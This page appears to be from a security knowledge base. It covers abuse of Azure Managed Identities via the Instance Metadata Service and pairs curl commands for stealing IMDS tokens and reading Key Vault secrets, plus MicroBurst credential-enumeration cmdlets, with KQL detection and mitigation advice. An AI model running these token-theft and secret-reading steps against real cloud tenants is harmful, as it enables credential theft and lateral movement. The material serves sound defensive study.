Skip to main content

Managed Identity Abuse

ATT&CK: T1552.005 — Cloud Instance Metadata API

Azure Managed Identities are service principals with no explicit credentials — the Azure platform manages the secret rotation. But when a VM or service with a managed identity is compromised, the attacker can request access tokens from the Instance Metadata Service (IMDS) without any credentials, using them to pivot to Azure resources.


What Managed Identities Are

TypeDescription
System-assignedIdentity tied to a specific resource (VM, App Service, Function); deleted when resource is deleted
User-assignedStandalone identity that can be assigned to multiple resources

The managed identity token is obtained from inside the compute resource — it requires no password because Azure handles the credential issuance.


IMDS Token Endpoint

http://169.254.169.254/metadata/identity/oauth2/token

This address is only accessible from within Azure compute resources — it is a link-local address. From a compromised VM, container, or App Service:

# Request a token for the Azure Resource Manager
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...",
"client_id": "<managed-identity-client-id>",
"expires_in": "3600",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}

Requesting Tokens for Different Resources

# Microsoft Graph token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"

# Azure Key Vault token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Azure Storage token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/"

Attack Scenarios

Scenario 1: Compromised VM → Lateral Movement to Azure Resources

# Step 1: Code execution on VM (web vuln, SSH bruteforce, etc.)
# Step 2: Query IMDS
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)

# Step 3: Use token with az CLI or REST
az account get-access-token --resource https://management.azure.com/
# Or manually set:
export AZURE_ACCESS_TOKEN=$TOKEN

# Step 4: Enumerate what the managed identity can do
az role assignment list --all --query "[?principalType=='ServicePrincipal']"

# If it has Contributor or Owner:
az vm list # list VMs
az keyvault list # list key vaults
az storage account list # list storage

Scenario 2: Over-Privileged Managed Identity → Secret Exfiltration

# If managed identity has Key Vault Secrets User role:
TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)

# List secrets
curl -H "Authorization: Bearer $TOKEN" \
"https://<vault-name>.vault.azure.net/secrets?api-version=7.3"

# Get secret value
curl -H "Authorization: Bearer $TOKEN" \
"https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.3"

Scenario 3: AKS Pod → Cluster Escape via Azure API

Pods in AKS with managed identity can access IMDS from the pod network namespace. If the pod is compromised:

# AKS metadata endpoint is proxied via a node-level service
# (AKS restricts direct IMDS access from pods but has its own token endpoint)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation via Managed Identity

Common over-privileged managed identity assignments:

AssignmentWhy Risky
Contributor on subscriptionManage all Azure resources in subscription
OwnerGrant others access → full privilege escalation
Key Vault Secrets UserRead all secrets in vault
Storage Blob Data ContributorRead/write all blobs
Virtual Machine ContributorRun scripts on other VMs via Run Command
User Access AdministratorAssign roles → escalate to Owner

Cloud Tool: MicroBurst, ROADtools

# MicroBurst - enumerate what managed identity can do post-compromise
Import-Module .\MicroBurst.psm1
Get-AzurePasswords # Enumerate accessible credentials
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains

Detection

Azure Monitor / Defender for Cloud Signals

SignalDetection
Token request from IMDSAzureActivityGetUserAssignedIdentityToken or GetSystemAssignedIdentityToken
Unusual resource access post-token-requestToken used from same IP but accessing atypical resources
Role assignment readsEnumerate what the MI can do → MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/READ
Key Vault secret list/getAzureDiagnostics with SecretList or SecretGet from managed identity
// KQL - Managed identity token requests followed by Key Vault access
let mi_tokens = AzureActivity
| where OperationNameValue contains "getToken" or OperationNameValue contains "identity"
| project ResourceId, CallerIpAddress, TimeGenerated;
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList")
| join kind=inner mi_tokens on $left.CallerIpAddress == $right.CallerIpAddress
| project TimeGenerated, OperationName, Resource, CallerIpAddress

Mitigation

ControlEffect
Least privilege for managed identitiesAssign only required roles, not Contributor/Owner broadly
Avoid user-assigned managed identities shared across VMsBlast radius: one compromised VM gets access everywhere
Segment by resource groupScope managed identity assignments to specific resource groups, not subscriptions
Microsoft Defender for CloudAlerts on suspicious managed identity token requests
Disable IMDS on VMs that don't need itNot always possible but reduces attack surface

TopicLink
Service Principal Abuseservice-principal-abuse
AWS IAM — STS Abuseaws-sts
GCP IAMgcp-iam
Kubernetes Service Accountsk8s-service-accounts